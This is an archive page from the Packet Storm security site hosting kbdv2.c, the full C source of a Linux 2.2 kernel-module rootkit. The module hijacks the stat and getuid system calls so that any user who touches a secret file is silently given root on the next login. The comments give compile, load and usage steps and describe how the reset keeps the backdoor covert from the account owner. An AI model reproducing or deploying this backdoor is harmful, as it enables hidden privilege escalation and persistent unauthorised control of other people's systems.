global security disclosure

kbdv2.c

kbdv2.c
Posted Jan 6, 2000
Authored by Spaceork

Kdb is a nice little backdoor that allows root access by modifing the SYS_stat and SYS_getuid system calls.

Changes: Works on 2.2 kernels.
tags | tool, root, rootkit
systems | unix
MD5 | 22f71383be1c921d2963d540aec9e668

kbdv2.c

Change Mirror Download
/* kbd - Linux loadable kernel module backdoor        */
/* 1.5.00 spaceork@dhp.com */
/* */
/* Version 2.0 (kbdv2.c) for Linux 2.2.X */
/* Tested on Linux 2.2.7 */
/* */
/* compile: host:~# gcc -c -O2 kbdv2.c */
/* */
/* add(as root): host:~# insmod kbdv2.o */
/* remove(as root): host:~# rmmod kbdv2.o */
/* */
/* Usage notes: */
/* kbd is a nice little backdoor that allows root access by */
/* modifing the SYS_stat and SYS_getuid system calls. */
/* Usage after insmod is fairly strait forward: */
/* 1. login as a normal user */
/* 2. host:~$ touch foobar */
/* 3. login again under the *same* username */
/* 4. the second login session will be given root privileges */
/* host:~# id */
/* uid=0(root) gid=0(root) groups=100(users) */
/* 5. Remember to repeat this procedure everytime you plan on */
/* using the backdoor. To keep this covert, the special uid */
/* resets after root is given out, this prevents the */
/* legitimate owner of the account from receiving a */
/* suspicious root shell when he/she logs in. */
/* */

#define MODULE
#define __KERNEL__

#include <syscall.h>
#include <asm/uaccess.h>
#include <linux/module.h>
#include <linux/unistd.h>
#include <linux/version.h>
#include <linux/sched.h>
#include <linux/mm.h>

#define FILE_NAME "foobar" /* change to whatever you wish */

extern void *sys_call_table[];

/* system calls we will replace */
int (*orig_stat)(const char *file_name, struct stat *buf);
int (*orig_getuid)();
int u;

int bd_stat(const char *file_name, struct stat *buf)
{
int tmp;
char *k_pathname;
char name[] = FILE_NAME;

/* copy to kernel space */
k_pathname = (char*) kmalloc(256, GFP_KERNEL);

copy_from_user(k_pathname, file_name, 255);

/* Is the pathname our secret one? If so make the current uid special. */
if (strstr(k_pathname, (char*)&name) != NULL) {
printk("Your Kung-Fu is good.\n");
u = current->uid;
}
tmp = (*orig_stat)(file_name, buf);
return tmp;
}

int bd_getuid()
{
int tmpp;

/* Give root to the special uid, then reset the value of u. */
if (current->uid == u) {
current->uid = 0;
current->euid = 0;
current->gid = 0;
current->egid = 0;
u = 55555; /* change if this bothers you */
return 0;
}
tmpp = (*orig_getuid) ();
return tmpp;
}


int init_module(void) /* setup the module */
{
orig_stat = sys_call_table[SYS_stat];
orig_getuid = sys_call_table[SYS_getuid];

sys_call_table[SYS_stat] = bd_stat;
sys_call_table[SYS_getuid] = bd_getuid;
return 0;
}

void cleanup_module(void) /* shutdown the module */
{
sys_call_table[SYS_stat] = orig_stat;
sys_call_table[SYS_getuid] = orig_getuid;
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close